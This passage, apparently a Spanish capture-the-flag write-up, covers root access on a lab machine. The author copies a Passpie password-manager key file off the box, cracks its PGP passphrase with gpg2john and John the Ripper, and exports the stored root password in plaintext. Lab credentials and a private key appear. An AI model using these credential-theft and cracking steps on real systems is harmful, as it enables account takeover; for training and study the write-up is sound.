drwxr-xr-x 3 root    root    4096 Oct  5 15:12 ..
lrwxrwxrwx 1 root    root       9 Jun 26  2022 .bash_history -> /dev/null
-rw-r--r-- 1 jnelson jnelson  220 Jun 26  2022 .bash_logout
-rw-r--r-- 1 jnelson jnelson 3526 Jun 26  2022 .bashrc
drwxr-xr-x 3 jnelson jnelson 4096 Oct 25 12:51 .local
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .passpie
-rw-r--r-- 1 jnelson jnelson  807 Jun 26  2022 .profile
-rw-r----- 1 root    jnelson   33 Apr  1 16:39 user.txt
jnelson@meta2:~$ ls -la .passpie/
total 24
dr-xr-x--- 3 jnelson jnelson 4096 Oct 25 12:52 .
drwxr-xr-x 4 jnelson jnelson 4096 Oct 25 12:53 ..
-r-xr-x--- 1 jnelson jnelson    3 Jun 26  2022 .config
-r-xr-x--- 1 jnelson jnelson 5243 Jun 26  2022 .keys
dr-xr-x--- 2 jnelson jnelson 4096 Oct 25 12:52 ssh

Vemos un directorio inusual, de nombre .passpie así que vamos a buscar en Google a ver qué encontramos:

passpie

Passpie is a command line tool to manage passwords from the terminal with a colorful and configurable interface. Use a master passphrase to decrypt login credentials, copy passwords to clipboard, syncronize with a git repository, check the state of your passwords, and more.

Si buscamos en la documentación nos indican que la contraseña maestra se almacena como un archivo encriptado con PGP, nosotros vimos un directorio .keys así que vamos a inspeccionarlo:

jnelson@meta2:~/.passpie$ cd ssh
jnelson@meta2:~/.passpie/ssh$ ls
jnelson.pass  root.pass
jnelson@meta2:~/.passpie/ssh$ cat root.pass 
comment: ''
fullname: root@ssh
login: root
modified: 2022-06-26 08:58:15.621572
name: ssh
password: '-----BEGIN PGP MESSAGE-----


  hQEOA6I+wl+LXYMaEAP/T8AlYP9z05SEST+Wjz7+IB92uDPM1RktAsVoBtd3jhr2

  nAfK00HJ/hMzSrm4hDd8JyoLZsEGYphvuKBfLUFSxFY2rjW0R3ggZoaI1lwiy/Km

  yG2DF3W+jy8qdzqhIK/15zX5RUOA5MGmRjuxdco/0xWvmfzwRq9HgDxOJ7q1J2ED

  /2GI+i+Gl+Hp4LKHLv5mMmH5TZyKbgbOL6TtKfwyxRcZk8K2xl96c3ZGknZ4a0Gf

  iMuXooTuFeyHd9aRnNHRV9AQB2Vlg8agp3tbUV+8y7szGHkEqFghOU18TeEDfdRg

  krndoGVhaMNm1OFek5i1bSsET/L4p4yqIwNODldTh7iB0ksB/8PHPURMNuGqmeKw

  mboS7xLImNIVyRLwV80T0HQ+LegRXn1jNnx6XIjOZRo08kiqzV2NaGGlpOlNr3Sr

  lpF0RatbxQGWBks5F3o=

  =uh1B

  -----END PGP MESSAGE-----

Nos transferimos a nuestra máquina el archivo .keys con SCP

p3ntest1ng:~$ scp jnelson@10.10.11.186:.passpie/.keys .keys
jnelson@10.10.11.186's password: Cb4_JmWM8zUZWMu@Ys
.keys

Lo renombramos para mayor comodidad:

p3ntest1ng:~$ mv .keys stolen

Tenemos que modificar este archivo porque contiene dos bloques PGP, debemos quitar el bloque de clave pública, de modo que nos quede solo la privada:

p3ntest1ng:~$ catn stolen
-----BEGIN PGP PRIVATE KEY BLOCK-----

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
=7Uo6
-----END PGP PRIVATE KEY BLOCK-----

Ahora debemos convertir este archivo en uno válido para que John The Ripper pueda trabajar con él:

p3ntest1ng:~$ gpg2john key > cracked

File key

Veamos cómo quedó:

p3ntest1ng:~$ catn cracked
Passpie:$gpg$*17*54*3072*e975911867862609115f302a3d0196aec0c2ebf79a84c0303056df921c965e589f82d7dd71099ed9749408d5ad17a4421006d89b49c0*3*254*2*7*16*21d36a3443b38bad35df0f0e2c77f6b9*65011712*907cb55ccb37aaad:::Passpie (Auto-generated by Passpie) <passpie@local>::key

Hora de hacer magia con ayuda de nuestro gran compañero John:

p3ntest1ng:~$ john -w:/usr/share/wordlists/rockyou.txt cracked
Using default input encoding: UTF-8
Loaded 1 password hash (gpg, OpenPGP / GnuPG Secret Key [32/64])
Cost 1 (s2k-count) is 65011712 for all loaded hashes
Cost 2 (hash algorithm [1:MD5 2:SHA1 3:RIPEMD160 8:SHA256 9:SHA384 10:SHA512 11:SHA224]) is 2 for all loaded hashes
Cost 3 (cipher algorithm [1:IDEA 2:3DES 3:CAST5 4:Blowfish 7:AES128 8:AES192 9:AES256 10:Twofish 11:Camellia128 12:Camellia192 13:Camellia256]) is 7 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
blink182         (Passpie)
1g 0:00:00:18 DONE (2023-04-01 20:58) 0.05425g/s 8.898p/s 8.898c/s 8.898C/s peanut..blink182
Use the "--show" option to display all of the cracked passwords reliably
Session completed

Tenemos la contraseña maestra (blink182) con la que acceder al resto de contraseñas almacenadas en este gestor, primero listemos usuarios:

jnelson@meta2:~$ passpie list
╒════════╤═════════╤════════════╤═══════════╕
│ Name   │ Login   │ Password   │ Comment   │
╞════════╪═════════╪════════════╪═══════════╡
│ ssh    │ jnelson │ ********   │           │
├────────┼─────────┼────────────┼───────────┤
│ ssh    │ root    │ ********   │           │
╘════════╧═════════╧════════════╧═══════════╛

Debemos exportar las contraseñas a un nuevo archivo, luego podremos leer el contenido:

jnelson@meta2:~$ cd /dev/shm
jnelson@meta2:/dev/shm$ touch pwnedkey
jnelson@meta2:/dev/shm$ passpie export pwnedkey
Passphrase: blink182
jnelson@meta2:/dev/shm$ cat pwnedkey
credentials:
- comment: ''
  fullname: root@ssh
  login: root
  modified: 2022-06-26 08:58:15.621572
  name: ssh
  password: !!python/unicode 'p7qfAZt4_A1xo_0x'
- comment: ''
  fullname: jnelson@ssh
  login: jnelson
  modified: 2022-06-26 08:58:15.514422
  name: ssh
  password: !!python/unicode 'Cb4_JmWM8zUZWMu@Ys'
handler: passpie
version: 1.0

Bingo!! Tenemos la contraseña para root en texto plano, ahora podemos cambiar de usuario en el sistema:

jnelson@meta2:/dev/shm$ su root
Password: 
su: Authentication failure
jnelson@meta2:/dev/shm$ su root
Password: 
root@meta2:/dev/shm# whoami
root
root@meta2:/dev/shm# cat /root/root.txt
26d8d6ae7d1cd8bb7796b13c2e9dc303
root@meta2:/dev/shm# 

Por alguna razón que desconozco hay que ejecutar el comando su root dos veces, pues la primera aún poniendo la contraseña correcta, falla la autenticación. Pero a la segunda entra perfectamente y logramos acceso privilegiado, con lo cual leemos la flag y damos por finalizada la máquina.

¡Gracias por leer hasta el final!

Nos vemos en un próximo. ¡Feliz hacking! ☠